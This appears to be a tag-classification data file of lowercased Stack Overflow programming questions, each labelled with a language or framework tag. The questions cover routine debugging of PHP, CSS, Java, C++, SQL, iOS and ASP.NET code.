redirect after registration is not working  i can t figure out why my redirection wont work   all i get is a blank page with the same url from where i tried to redirect from.. the code is from my registration page  however i removed some code to make it easier to look at my redirection here. everything else is working except the redirection.    <pre><code>  &lt; php  if($_server[ request_method ] ==  post ){   //removed bunch of code for clear overview for stackoverflow question  // prepare an insert statement          $sql =  insert into users (username  password) values (    ) ;            if($stmt = mysqli_prepare($link  $sql)){              // bind variables to the prepared statement as parameters              mysqli_stmt_bind_param($stmt   ss   $param_username  $param_password);                // set parameters              $param_username = $username;              $param_password = password_hash($password  password_default); // creates a password hash                // attempt to execute the prepared statement              if(mysqli_stmt_execute($stmt)){               // redirect to login page             header( location: login.php );             } else{                  echo  something went wrong. please try again later. ;              }          }            // close statement          mysqli_stmt_close($stmt);      }        // close connection      mysqli_close($link);  }   &gt; </code></pre>,php
error compiling objective-c class : id returned 1 exit status  i tried to compile my first class in objective-c (personne.m) and i got the following errors :   <pre><code>undefined reference to winmain@16 id returned 1 exit status </code></pre>   i know that this question was asked before but i still didn`t know how to fix it. thx in advance :),objective-c
set time from one viewcontroller to one viewcontroller  my app crashed because  i set time from one viewcontroller to one viewcontroller in appdelegate.m for method below and it show the message : unrecognized selector sent to instance 0x6a0e360.    <pre><code>-(bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     [self performselector:@selector(tosecondviewcontroller:) withobject:nil afterdelay:5]; }  -(void)tosecondviewcontroller{     secondviewcontroller *second = [[secondviewcontroller alloc] init];     [self.navigationcontroller pushviewcontroller:sale animated:yes]; } </code></pre>   i don t know why,ios
"right floatting precedence in css  having     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.right { float: right }
 .suffix { background:pink }
 .container { background:lightblue }
 .container::after {content: &gt;&gt; ; background: lightblue; float: right; }
 .container::before {content: &lt;&lt; ; background: lightblue; float: left; }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container &gt;
   offer title
     &lt;div class= right suffix &gt;id  </code></pre>
 </div>
 </div>
     how should i do to make <code>id</code> appear <strong>before</strong> the <code>&gt;&gt;</code>    <a href= http://codepen.io/serhio/pen/eyzyza editors=1100  rel= nofollow >http://codepen.io/serhio/pen/eyzyza editors=1100</a>",css
expected an indented block error(protein sequence count)  the code:     <pre><code>def find_orf_lengths(dna frame cutoff):     orfs_lengths = []      for i in range(0 len(dna) 3):         if(dna[i:i+3] ==  atg ):             orfs_lenghts[i] += 1             elif(dna[i:i+3] ==  tga | taa | tag ):                 if(orfs_lenghts[i] &gt;= cutoff):                     orfs_lengths.append(100)                     elif(orfs_lenghts[i] &lt; cutoff):                         continue      return orfs_lengths          </code></pre>   i was working on a protein sequence project and the problem is  whatever i do i can t get past the  expected an indented block  error which is given like this:         <pre><code>             file  lab6hw.py   line 27                if(dna[i:i+3] ==  atg ):             indentationerror: expected an indented block </code></pre>,python
"html - make multiple td linkable  so i have researched making tr s and td s linkable and have been using the onclick method for the entire row. is there a way to make 2 td s link to one page and 2 link to another     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function x() {
   window.location.href =  x.com ;
 }
 
 function y() {
   window.location.href =  y.com ;
 }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>table {
   width: 100%;
   height: 100px;
   border: 1px solid;
 }
 
 td {
   border: 1px solid;
 }
 
 .x:hover {
   background-color: red;
 }
 
 .y:hover {
   background-color: blue;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;
   &lt;tr&gt;
     &lt;td class= x  onclick= javascript:x &gt;&lt;/td&gt;
     &lt;!--i want these 2 td to be the same link--&gt;
     &lt;td class= x  onclick= javascript:x &gt;&lt;/td&gt;
 
     &lt;td class= y  onclick= javascript:y &gt;&lt;/td&gt;
     &lt;!--and this one be a different link--&gt;
   &lt;/tr&gt;
 
   &lt;tr&gt;
     &lt;td class= x  colspan= 2  onclick= javascript:x &gt;&lt;/td&gt;
     &lt;!--so it looks like this but 2 cells are enclosed in the same link--&gt;
 
     &lt;td class= y  onclick= javascript:x &gt;&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",html
suggestion on file i/o opertion with 1024 bytes chunks  hi i am a ruby on rails developer can any body help me in doing file i/o operation with 1024 bytes chunk at a time.,ruby-on-rails
difference between the background-size  while working i found something interesting difference when using <code>background-size</code>:   <pre><code>html body{     height: 100%;     width: 100%;     margin: 0;     padding: 0; } .wrap{     position: relative;     z-index: auto;     width: 960px;     height: 100%;     margin: 0 auto; } #main{     width: 100%;     height: 50%; } main{     max-width: 100%;     height: 100%;     background: url(images/img-main.png) no-repeat center;     background-size: 100% 100%; } </code></pre>   so  now when i use background-size: 100% 100%; it works perfectly but background-size: 100%; doesn t work as 100% 100%.   <hr>   <strong>background-size: 100% 100%</strong>    <img src= https://i.stack.imgur.com/6o4hl.png  alt= enter image description here >    <strong>background-size: 100%</strong>    <img src= https://i.stack.imgur.com/oj8sw.png  alt= enter image description here >   <hr>   but i was thinking <code>background-size: 100%;</code> works as <code>background-size: 100% 100%;</code>. so  is there difference between them really  and why this works differently,css
recursive redirect on error handler page  i use the following msdn code on my master page to detect if the browser accepts cookies:   <pre><code>protected void page_load(object sender  eventargs e) {     if(!this.ispostback) {         if(request.querystring[ cookietest ] == null) {             response.cookies[ testcookie ].value =  test ;             response.redirect( cookiecheck.aspx.redirect=  + server.urlencode(request.url.tostring())));         }         else if((string)request.querystring[ test ] ==  passed ) {             // my stuff...         }     } } </code></pre>   the cookiecheck.aspx contains the following:   <pre><code>protected void page_load(object sender  eventargs e) {     if(request.cookies[ testcookie ] == null)         response.redirect(request.querystring[ redirect ] +   test=notpassed   true);      else         response.redirect(request.querystring[ redirect ] +   test=passed   true); } </code></pre>   within the web.config i have defined the following:   <pre><code>&lt;customerrors mode= on  defaultredirect= error.aspx  /&gt; </code></pre>   now the recognizing of the cookies works well  but i have this problem: whenever an error occurs on the page and i should be redirected to error.aspx (and this worked before the whole cookie detection thing)  the redirection seems stuck in an infinite loop and appends more and more   test=passed  to the url. i should mention that the errors.aspx also has the same masterpage and thus also performs the cookie check. however i have no clue why the redirection doesn t stop. is there a way to solve this problem other than to exlude the errors.aspx page from having the master page  thank you very much.,asp.net
correct way of listening to changes in factory  i have a controller  mapcontroller and a factory  controlservice. controlservice has objects with boolean values that are modified by a different controller. currently  whenever a control s boolean checked value is changed  mapcontroller runs a function on the control using $watch as follows:   <pre><code>$scope.$watch((function() {         return controlservice.getdrawcontrol().checked;     })  function(newval  oldval) {         if (typeof newval !==  undefined ) {             vm.draw(newval);          }     }); </code></pre>   how do i achieve this same behavior following the recommendation in this answer to a similar question: <a href= https://stackoverflow.com/questions/19744462/update-scope-value-when-service-data-is-changed/27501691#27501691 >update scope value when service data is changed</a>    i m confused on how the value stays updated  and on top of that  how to run a function each time the view associated with the mapcontroller is loaded based on that value.,angularjs
is it bad to use the += operator on delegates   i just realized i don t know any c#.    is there any difference between using <code>+=</code> and <code>delegate.combine</code> on delegate instances     for e.g.   <pre><code>public delegate void printer(string s);  public class program {   public static void main(string[] args)   {     printer printer = new printer((s) =&gt; { console.writeline(s); });      // is it wrong to use this += operator      // on the delegate instance printer      printer += s =&gt; {};      // and is this somewhat holier than the previous one      // why      delegate.combine(printer  new printer((s) =&gt; {});   } } </code></pre>   i ask this question because it seemed to be implied by <em>serge karalenka s</em> answer on this thread: <a href= https://stackoverflow.com/a/15183049/303685 >https://stackoverflow.com/a/15183049/303685</a>,c#
where in memory are variables stored in c++   if i have code like this:   <pre><code>int e; int* f;  int main() {     int a  b  c;     int* d; } </code></pre>   where in memory are these variables stored  and  what s the problem with defining global variables (out of a function  like main in this case),c++
looping through two or more intance vars in rails  in my view i have two instance variables (going to be more) that i want to display in one table. the first  @data  is an instance var of a model  someting like @data=rnfile.all. the second is an array @result containing a value per data in @data calculated in the controller. now in my view i want to display them next to each other  something like:    <pre><code>@data[0].atributes @result[0] @data[1].atributes @result[1] @data[2].atributes @result[2] @data[3].atributes @result[3] ... </code></pre>   but i can t figure out how to iterate over both the arrays (and propably more to come).  any suggestions anyone  thanks,ruby-on-rails
problems initial matrix in eigen with pointers  i attempted to initial matrix with pointers in eigen. typically  matrix data structure is initialized from left to right  up to down.however  i found the matrix was initialized from up to down  left to right.    i set a break point at code line  <code>std::cout&lt;&lt;matrix&lt;&lt;std::endl</code>   then i pressed f5 step by step  i got the flowing results:   <pre><code>1             -6.27744e+066  -6.27744e+066  2             -6.27744e+066  -6.27744e+066 -6.27744e+066 -6.27744e+066  -6.27744e+066  1              2             -6.27744e+066  2             -6.27744e+066  -6.27744e+066 1             -6.27744e+066  -6.27744e+066  1             2              -6.27744e+066  2             1              -6.27744e+066 1             2              -6.27744e+066 ... </code></pre>   finally i got    <pre><code>1 2 1 2 2 1 2 1 1 2 1 2 </code></pre>   instead of   <pre><code>1 2 1 2 1 2 1 2 1 2 1 2 </code></pre>   i attached the original code  for you to check.   <pre><code>#include &lt;iostream&gt; #include &lt;eigen/dense&gt; #include &lt;eigen/core&gt;  void function(eigen::vector2d* vec) {     *vec&lt;&lt;1 2; }  int main(int argc char* argv[]) {     eigen::matrix&lt;double eigen::dynamic eigen::dynamic&gt; matrix;    matrix.resize(3 4);    for(int i=0;i&lt;3;i++)        for(int j=0;j&lt;2;j++)        {          function((eigen::vector2d*)matrix.data()+2*i+j);          std::cout&lt;&lt;matrix::std::endl;        }     return 0; } </code></pre>   anybody give me some instructions,c++
how to get frequency value of recorded sound (tone) in java   i have a wav file that contain record of different tones. how to get frequency value of sound  which library can you suggest,java
adding to a 2 dimensional array with unshift  i have a 2 dimensional array:   <pre><code>var sh = [[ two ] [ three ]] </code></pre>   and i want to add  one  to the start/top so my array ends up as    <pre><code> [[ one ] [ two ] [ three ]] </code></pre>   using <a href= https://developer.mozilla.org/en/javascript/reference/global_objects/array/unshift  rel= nofollow >unshift</a> like so   <pre><code>sh[0].unshift( one ); </code></pre>   produces an array where  one is inserted but  two  is in the second column rather than the first (ie <a href= https://developer.mozilla.org/en/javascript/reference/global_objects/array/unshift  rel= nofollow >1</a> rather than <a href= https://developer.mozilla.org/en/javascript/reference/global_objects/array/unshift  rel= nofollow >1</a>[0]) i ve looked and searched and experimented but i cannot see how to do this easily.,javascript
how do i find the .net framework path   in my program i current have the path  c:\windows\microsoft.net\framework64\v4.0.30319  hard-coded. i need it to dynamically load dlls for reflection only.     is there a registry key or environmental value i could use to avoid hard-coding this,c#
iphone: viewwillappear is not called for uiview  i have created an uiview in my iphone app. i want to handle something when user closes or opens when uiview is present as current screen. i thought  i can do this under <code>viewwillappear:</code>. but  <code>viewwillappear:</code> is not called in uiview. does it work only on uiviewcontroller  how can i handle <code>viewwillappear:</code> or <code>viewdidappear:</code> for an uiview     <strong>update:</strong> uiview what i created everything through program  not in .xib.    please advise.    thanks!,iphone
counting unique combinations of object properties  i have a class <code>typesholder</code> that has four properties which are each <code>int</code> values.  i want to identify how many unique combinations of values are in the four int variables  and then to give a count of how many instances of <code>typesholder</code> have each specific combination of the four integer variables.  <strong>how can i accomplish this in code </strong>  my code attempt below is failing  with the failed results summarized at the end.  there must be a simpler way to do this correctly.      here is my <code>typesholder</code> class:     <pre><code>public class typesholder { private int with; private int type; private int reason1; private int reason2;     //getters and setters } </code></pre>   to hold the unique combinations during analysis  i created the following <code>typessummaryholder</code> class:     <pre><code>public class typessummaryholder { private int with; private int type; private int reason1; private int reason2;     private int count;     //getters and setters } </code></pre>   i then created an arraylist to store the 15000+ instances of <code>typesholder</code> and another arraylist to store the <code>typessummaryholder</code> objects who represent each of the unique combinations of <code>width</code>  <code>type</code>  <code>reason1</code>  and <code>reason2</code> from the <code>typesholder</code> objects  along with a <code>count</code> variable for each of the unique combinations.  i wrote the following code to populate the arraylist of <code>typessummaryholder</code> objects along with their counts:     <pre><code>@suppresswarnings( null ) static void countcommunicationtypes(){     int communicationwithnumber;int communicationtypenumber;int communicationreasonnumber;     int secondreasonnumber;int counter = 0;     arraylist&lt;encountertypesholder&gt; types = new arraylist&lt;encountertypesholder&gt;();     arraylist&lt;encountertypessummaryholder&gt; summaries = new arraylist&lt;encountertypessummaryholder&gt;(); ////////     try {class.forname( sun.jdbc.odbc.jdbcodbcdriver );}     catch (classnotfoundexception e1) {e1.printstacktrace();}     connection sourceconn = null;     try {sourceconn = drivermanager.getconnection( jdbc:odbc:pic_new_32 );}     catch (exception e1) {e1.printstacktrace();}     statement st = null;     try {st = sourceconn.createstatement();}     catch (exception e1) {  e1.printstacktrace();}     resultset rest = null;     try {         rest = st.executequery( select * from sometable );         while (rest.next()) {             communicationwithnumber = rest.getint(3);             communicationtypenumber = rest.getint(5);             communicationreasonnumber = rest.getint(6);             secondreasonnumber = rest.getint(6);             encountertypesholder etype = new encountertypesholder();             etype.setwith(communicationwithnumber);             etype.settype(communicationtypenumber);             etype.setreason1(communicationreasonnumber);             etype.setreason2(secondreasonnumber);             if(!isduplicatetype(etype types)){                 encountertypessummaryholder summaryholder = new encountertypessummaryholder();                 summaryholder.setwith(communicationwithnumber);                 summaryholder.settype(communicationtypenumber);                 summaryholder.setreason1(communicationreasonnumber);                 summaryholder.setreason2(secondreasonnumber);                 summaryholder.setcount(1);                 summaries.add(summaryholder);             } else {                 encountertypessummaryholder summaryholder = new encountertypessummaryholder();                 summaryholder.setwith(etype.getwith());                 summaryholder.settype(etype.gettype());                 summaryholder.setreason1(etype.getreason1());                 summaryholder.setreason2(etype.getreason2());                 if(isduplicatesummarytype(summaryholder  summaries)){                     for(int u = 0; u&lt;summaries.size();u++){                         if((communicationwithnumber==summaries.get(u).getwith()) &amp;&amp; (communicationtypenumber==summaries.get(u).gettype()) &amp;&amp; (communicationreasonnumber==summaries.get(u).getreason1()) &amp;&amp; (secondreasonnumber==summaries.get(u).getreason2()) ){                             int oldcount = summaries.get(u).getcount();                             int newcount = oldcount+1;                             summaries.get(u).setcount(newcount);                         }                     }                 }else {                     summaryholder.setcount(1);                     summaries.add(summaryholder);                 }             }             types.add(etype);             counter += 1;             system.out.println( counter is:  +counter);             system.out.println( summaries.size() is:  +summaries.size());         }     } catch (exception e) {e.printstacktrace();}     system.out.println( at end: counter is:  +counter);     system.out.println( at end: types.size() is:  +types.size());     system.out.println( at end: summaries.size() is:  +summaries.size());     int total = 0;     for(int r=0;r&lt;summaries.size();r++){         total += summaries.get(r).getcount();         int with = summaries.get(r).getwith();int type = summaries.get(r).gettype();int reason1 = summaries.get(r).getreason1();int reason2 = summaries.get(r).getreason2();int thiscount = summaries.get(r).getcount();     }     system.out.println( total is:  +total); } static boolean isduplicatetype(encountertypesholder testtype  arraylist&lt;encountertypesholder&gt; types){     for(int j = 0; j&lt;types.size(); j++){         if( (testtype.getwith() == types.get(j).getwith()) &amp;&amp; (testtype.gettype() == types.get(j).gettype())  &amp;&amp; (testtype.getreason1() == types.get(j).getreason1()) &amp;&amp; (testtype.getreason2() == types.get(j).getreason2())){             system.out.println( =====true!!==== );             return true;         }     }     return false; } static boolean isduplicatesummarytype(encountertypessummaryholder testtype  arraylist&lt;encountertypessummaryholder&gt; types){         for(int j = 0; j&lt;types.size(); j++){             if( (testtype.getwith() == types.get(j).getwith()) &amp;&amp; (testtype.gettype() == types.get(j).gettype())  &amp;&amp; (testtype.getreason1() == types.get(j).getreason1()) &amp;&amp; (testtype.getreason2() == types.get(j).getreason2())){                 system.out.println( =====true!!==== );                 return true;             }         }         return false; }    </code></pre>   the code above is producing the following syso output at the end:     <pre><code>at end: counter is: 15415 at end: types.size() is: 15415 at end: summaries.size() is: 15084 total is: 2343089   </code></pre>   the max possible value for <code>summaries.size()</code> should be around 600  but the 331 you get from <code>types.size()</code> minus <code>summaries.size()</code> above is within the range of believable values for <code>summaries.size()</code>.  however  the value for total should be equal to the 15414 value of <code>types.size()</code>.  what is wrong with my code above   how can i change my code above to get both a list of the unique combinations of <code>with</code>  <code>type</code>  <code>reason1</code>  and <code>reason2</code>  and also a <code>count</code> of the number of instances with each of those unique value combinations,java
python - if statement return wrong value  i used the followng code to trigger if statement based on the value of row[0]  my problem is always if statement give me wrong output even if the value is greater than 0 its keep printing no failure .   <pre><code>conn = psycopg2.connect(conn_string)         cursor = conn.cursor()         cursor.execute( select count(*) as result from events_log where match_event_timestamp  &gt; (now() - interval  147 hours ); )         row = cursor.fetchone()         cursor.execute( select count(*) as result from events_log  where status =  failure  and match_event_timestamp  &gt; (now() - interval  24 hours ); )         row += cursor.fetchone()         logger.info( number of events in last 24hr : %s ; number of event failure  in last 24h: %s  % (row[0] row[1]))         output = {  api_key : jhfsdf    data : {  item  : [                         { text :  today     value : row[0]}                          { text :  current month     value : row[1]}                     ] } }          if row[0] &gt;  0 :                 print( failure )         else:                 print( no failure ) </code></pre>   what did i missed in if statement here,python
what is the difference between .net components and com components  what is the difference between .net components and com components  sometimes we use .net components to include in our projects and sometimes we include com reference. what is the idea behind  thanks in advance.,.net
group by on multiple columns in the same table  table employee:    <pre><code>╔═══════════════════════════════════════════════════╗ ║ emp_id  emp_position  emp_start_date employer_id  ║ ╠═══════════════════════════════════════════════════╣ ║ 1234    associate       08/08/08        7657      ║ ║ 1234    associate       01/01/11        3345      ║ ║ 1234    manager         04/03/13        9483      ║ ║ 1234    manager         04/05/15        2345      ║ ╚═══════════════════════════════════════════════════╝ </code></pre>   how to i construct a query to get the oldest date per emp_role and the query should return only the employee who have held more than one post.     select smp.emp_id  smp.emp_position  smp.cnt from ( select emp_id  emp_position  count(*) as cnt from employee group by emp_id  emp_position) smp where smp.cnt > 1,sql
honeywell captuvo ios develop  i am looking for help in integrating captuvo sl22 sdk within appcelerator. the captuvo sdk comes with the captuvo scanner/msr for ipod. i am trying to use captuvo sdk in a custom module and call it in the main app. i am able to establish a connection with the captuvo device by using the following code in the custom module startdecoder method:   <pre><code>- (ibaction)startdecoder:(id)sender {  protocolconnectionstatus state=  [[captuvo sharedcaptuvodevice] startdecoderhardware];  nsstring *mess=nil;    switch (state) {     case protocolconnectionstatusalreadyconnected:         mess=@ already connected ;         break;         case protocolconnectionstatusunabletoconnect:         mess=@ error connecting ;         break;         case protocolconnectionstatusconnected:         mess=@ connecting ;         break;         case protocolconnectionstatusunabletoconnectincompatiablesledfirmware:         mess=@ incompatible firmware ;         break;         case protocolconnectionstatusbatterydepleted:         mess=@ battery depleted ;         break;      default:         break; } {uialertview* alert = [[uialertview alloc]initwithtitle:nil                                                 message:mess                                                delegate:self                                       cancelbuttontitle:@ ok                                        otherbuttontitles:nil];     [alert show];}} - (void)viewdidload { [super viewdidload];  // do any additional setup after loading the view  typically from a nib.   [[captuvo sharedcaptuvodevice] addcaptuvodelegate:self];}  - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil { self = [super initwithnibname:nibnameornil bundle:nibbundleornil]; if (self) {  }  return self;} </code></pre>   device respond me connected no error  then i use below method to turn on the scanner:   <pre><code>- (ibaction)scanningbtn:(id)sender {  [[captuvo sharedcaptuvodevice] startdecoderscanning];} </code></pre>   unfortunately nothing happen  i m trying to press side button  also nothing happen...    ios version 7.1.2 xcode version 5.1,ios
stack variables in java (newbie)  i am staring to study java and currently i am learning about the classes setters. i see that the most common way to make a setter is something like this.   <pre><code>class apple{     private string _name;      //setters     public void setname(string name){         _name = name;     } } </code></pre>   i am used to c so this code raises me a question. if i am setting _name = name in a function  after this function is completed and his stack is discarded why does the variable _name still stores the right value  this is confusing because in c if i assig a pointer to another pointer inside a function like this it would probably cause a segmentation fault (since name is a temporary variable).,java
constructor creates const object  why i m getting error    <pre><code>../implicit-explicit.cpp:44:10: error: invalid initialization of non-const reference of type ‘bwsize&amp;’ from an rvalue of type ‘char’ ../implicit-explicit.cpp:36:6: error: in passing argument 1 of ‘void func(bwsize&amp;)’ </code></pre>   when i remove <code>const</code> from function void <code>func(const bwsize &amp; s)</code>    according to my understanding constructor returns not const value.     code   <pre><code>// implicit-explicit.cpp by bill weinman &lt;http://bw.org/&gt; #include &lt;iostream&gt;  const std::size_t maxlen = 1024;    // maximum length of bwstring  class bwsize {     std::size_t _size; public:     bwsize(std::size_t);    // constructor: size from int     bwsize(const char *);   // constructor: size from c-string     std::size_t size() const; };  bwsize::bwsize(const std::size_t n) {     std::cout &lt;&lt;  bwsize from int  &lt;&lt; std::endl;     _size = (n &lt;= maxlen)   n : 0; }  bwsize::bwsize(const char * s) {     std::cout &lt;&lt;  constructor: bwsize from c-string  &lt;&lt; std::endl;     for(std::size_t i = 0; i &lt; maxlen; i++) {         if(s[i] ==  \0 ) {             _size = i;             return;         }     }     _size = 0; }  std::size_t bwsize::size() const {     return _size; }  using namespace std;  void func(const bwsize &amp; s) {     cout &lt;&lt;  s.size() is   &lt;&lt; s.size() &lt;&lt; endl; }  int main( int argc  char ** argv ) {     bwsize s =  x ;     cout &lt;&lt;  s.size() is   &lt;&lt; s.size() &lt;&lt; endl;     func( x );     return 0; } </code></pre>,c++
sound programing in php  i want to make program for pronounce of alphabets characters like as in recaptcha.for some alphabets this should pronounce with related characters individual.     is it possible also in javascipt otherwise php is ok     i need what should be concept or programming tips will appreciate. thanks,php
fetching repeated customer details from different databses in mysql  i need some suggestions on how we can fetch customer details which are repeated more than two times over a period of 2 months. the table design is same  however these tables belong to <strong>different database schema</strong> . looking forward for help.    thanks in advance..,mysql
open photo gallery on second tab bar click   how do i open a photo gallery on second tab bar click,iphone
php inserts only the first row  this php code only inserts the first row then returns an error: call to a member function fetch_assoc() on a non-object. please help.   <pre><code>$sqlquery =  select * from shopcart where userid= $useremail  ;     if(!$result = $db-&gt;query($sqlquery)) die ( error getting food information [ .$db-&gt;connect_error. ] );     $result = $db-&gt;query($sqlquery);      while($row = $result-&gt;fetch_assoc()){         //echo $row[ name ];         $name= $row[ name ];         $productid = $row[ productid ];         $initialprice = $row[ initialprice ];         $qty = $row[ quantity ];            //insert into to ordereditems         $sql =  insert into ordereditems (orderid  productname  productid  quantity  salesprice)          values ( $orderid    $name    $productid   $qty   $initialprice ) ;         if(!$result = $db-&gt;query($sql)) die( there was an error processing order again [  . $db-&gt;error .  ] );      } </code></pre>,php
css3 inline-block doesn t work on fluid floating divs  i try to get all fluid elements after a line break in a row with vertical-align: top and display inline-block. but it doesn t work. the different height of the elements shoot the the layout after a line break.    here is a sample <a href= http://jsfiddle.net/3ef8g/  rel= nofollow >fiddle</a>     <strong>stylesheet:</strong>   <pre><code>    section {          display: block;         max-width: 720px;     }      img {         display: block;         width: 100%;         height: auto;     }      .container {         width: 100%;     }      .container:after {         content:   ;         display: table;         clear: both;     }      .col {         float: left !important;         margin-right: 3.3333333333333335%;     }      .t4 {             width: 31.11111111111111%;     }      .t4:nth-child(3n) {         margin-right: 0;     }      .p-item {         display: inline-block;         vertical-align: top;     } </code></pre>   <strong>html5</strong>   <pre><code>&lt;section class= content &gt;     &lt;div class= container inside &gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe! this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe! this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe! this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe! this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe! this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such very very very long productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;         &lt;div class= col t4 p-item &gt;             &lt;img src= http://placehold.it/225x300/01da90/fffedb  /&gt;                 &lt;p&gt;brandname&lt;br /&gt;this is a so such productname i can t believe!&lt;br /&gt;99.00 eur&lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/section&gt; </code></pre>,css
how to prevent multiple selection of radio button in asp.net  i m using radio button in my asp.net project  my problem is that i can t prevent the multiple selection.i want to select only one item. this is my code :   <pre><code> @for (int k = 0; k &lt; players.count();k++)                 {                     string kk = convert.tostring(k);                 &lt;li class= first &gt;                            @html.hiddenfor(modelitem =&gt; players[k].id_player)                 @html.radiobuttonfor(modelitem =&gt; players[k].selectedplayer                  players[k].id_player   new { @id = kk })                                     &lt;a href= # &gt;@players[k].first_name_player @html.raw(   )                 @players[k].second_name_player&lt;/a&gt;                 &lt;/li&gt;                    }  </code></pre>   any help please.,asp.net
create a db tables from c# classes (or generate sql) in application (not through vs)   i d like to be able to create tables  or to create the necessary sql to create a table from an existing class (with dataannotations.) basically the same thing that vs does for you automagically with migrations. i d like to be able to control table creation in the app.    can t find any documentation on this  or don t know where to look.    <a href= http://weblogs.asp.net/scottgu/archive/2010/07/16/code-first-development-with-entity-framework-4.aspx  rel= nofollow >this article</a> is referenced in many posts  but it relies on vs magic and doesn t get into writing it into the application.,.net
sql query...nulls hosing me  i tried to ask this question before but i don t think i explained myself very well. so here it is: asp.net 2.0 app hitting a sql 2008 backend. this seems simple but i can t get it. 1 table. the user selects a status. the query should return all records = the chosen status only. if the user select  all status   then all records should be returned  including those with a status = null (which is the part that is hosing me).    ex:    case 1: user selects status =  satisfied ; only satisfied records are return    case 2: user selects all status = everything is returned  satisfied and nulls and anything else    i tried passign in a wildcard but this doesn t return nulls. i tried dynamically buildign the query but i would like to avoid it.,sql
call two function at a single function call  i am not sure if it is as straight forward as i am writing but i have a use case in which two function call has to be done at the same time.    example:   <pre><code>class abc {     int a;     string b;      seta(int x) {         //..     }      setb(int y) {         // ...     } } </code></pre>   so what i want is that when i call <code>seta()</code>  <code>setb()</code> should also implicitly be called  ie i don t want to write:   <pre><code>seta(int x) {     // ..     setb(x); } </code></pre>   is there any way to do this  i thought of adding something like a listener so that when <code>seta()</code> is called my listener will call <code>setb()</code>. is this an option,java
change path for certain actions  i want to change only paths to certain actions of my controller.    for example i have the following actions on my <code>examplecontroller</code>.   <ul> <li>new</li> <li>create</li> <li>edit</li> <li>destroy</li> <li>update</li> <li>index</li> <li>show</li> </ul>   i would love to have my <code>new</code>  <code>create</code>  <code>delete</code> and <code>update</code> actions on the path <code>/admin/example/</code> and have the rest (<code>index</code> and <code>show</code>) available on <code>/example</code>.    of course i can do this by adding new routes like :    <code>match  /admin/example/:id/destroy   to:  example#destroy   via:  destroy </code>    but i do not want to do that for every controller. i tried doing the following:   <pre><code>scope  /admin  do     resources :example  only: [:new  :edit  :create  :update  :destroy] end resources :example  only: [:index  :show] </code></pre>   this seems to work  but whenever i want to create a new <code>example</code> object  it gives me the following error:    <code>no route matches [post]  /example </code>    it also ends up on the url <code>/example</code> instead of <code>/admin/example</code>    am i on the right track or am i doing something completely wrong here. i would like to keep all my <code>example</code> based actions in the same controller.    <strong>update</strong>: i tried to the following based on the answer of @apneadiving:   <pre><code>&lt;%= form_for [:admin  @example] do |f| %&gt; &lt;% end %&gt; </code></pre>   but his results in a <code>nomethoderror</code>  while rendering the form  with the message:    <code>undefined method  admin_example_path  for #&lt;#&lt;class:0x007ff3cceeb778&gt;:0x007ff3cbe85820&gt;</code>,ruby-on-rails
which layout techniques do you use: html tables  css tables  absolute positioning  floating or some mixture of those   although  i know that a lot may depend on a particular web site  what is the mainstream  =) and also  what do you think of implementing css table-based layouts while ie6 and 7 are in use,css
